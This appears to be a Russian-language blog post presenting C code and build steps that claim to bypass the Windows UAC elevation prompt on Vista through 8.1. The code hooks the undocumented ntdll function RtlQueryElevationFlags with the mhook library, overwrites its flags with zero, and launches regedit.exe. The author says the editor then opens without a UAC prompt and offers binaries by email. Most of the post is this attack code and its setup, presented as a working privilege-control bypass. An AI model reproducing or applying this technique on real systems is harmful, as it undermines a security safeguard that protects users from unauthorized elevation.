Pull to refresh

Обход уведомления UAC. Алгоритм и исходный код для Windows Vista,7,8,8.1 (x86/x64)

Помните, в Windows XP не было UAC? Code signed сертификатов можно было не покупать, права были админские у администратора, и таких страшных сообщений не наблюдалось:

image

В сети можно нагуглить много информации на тему «Bypass UAC». Попробуем проверить теорию с перехватом функции RtlQueryElevationFlags[UnDoc'd]. Теория заключается в замене на 0 в памяти по адресу pFlags (DWORD) после отработки тела функции. Для этого создадим и запустим программу с пользовательскими правами, перехватим указанную функцию, запустим процесс regedit.exe (которому требуются права администратора), при вызове данной функции будем записывать 0 по адресу pFlags, и в результате у нас должен запуститься редактор реестра без уведомления UAC.

Приступим. Настройки UAC в Windows выставляем максимальные. Создаем solution, создаем новый проект Application1, тип проекта Win32 console application. Проверяем значение свойства проекта «UAC Execution Level», должно быть «asInvoker». Создаем платформу x64 в свойствах Configuration Manager. Компилируем.

Для перехвата используем mhook. Загружаем, добавляем в проект подкаталоги disasm-lib, mhook-lib и соответствующие файлы. Получилось так (должно компилироваться без ошибок):

#include "stdafx.h"
#include <windows.h>
#include "..\mhook-lib\mhook.h"

int _tmain(int argc, _TCHAR* argv[])
{
	return 0;
}


Пишем функцию перехватчик:
NTSTATUS NTAPI TimedRtlQueryElevationFlags(DWORD* pFlag)
{
	NTSTATUS ret = CurRtlQueryElevationFlags(pFlag);
	*pFlag = 0;
	return ret;
}


Устанавливаем перехват:

CurRtlQueryElevationFlags = (NTSTATUS (NTAPI * )(DWORD* ))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlQueryElevationFlags");
if (Mhook_SetHook((PVOID*)&CurRtlQueryElevationFlags, TimedRtlQueryElevationFlags))
	MessageBeep(MB_OK);


Запускаем regedit.exe:
if ((INT)ShellExecuteW(NULL, L"open", L"regedit.exe", NULL, NULL, SW_SHOWNORMAL) > 32)
{
	printf("Success\n");
	return 0;
}

И получаем запуск редактора реестра без уведомления UAC:

image

Бинарники и исходники можно получить в ответном сообщении на email, указанный в контактах.

Спасибо за внимание.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.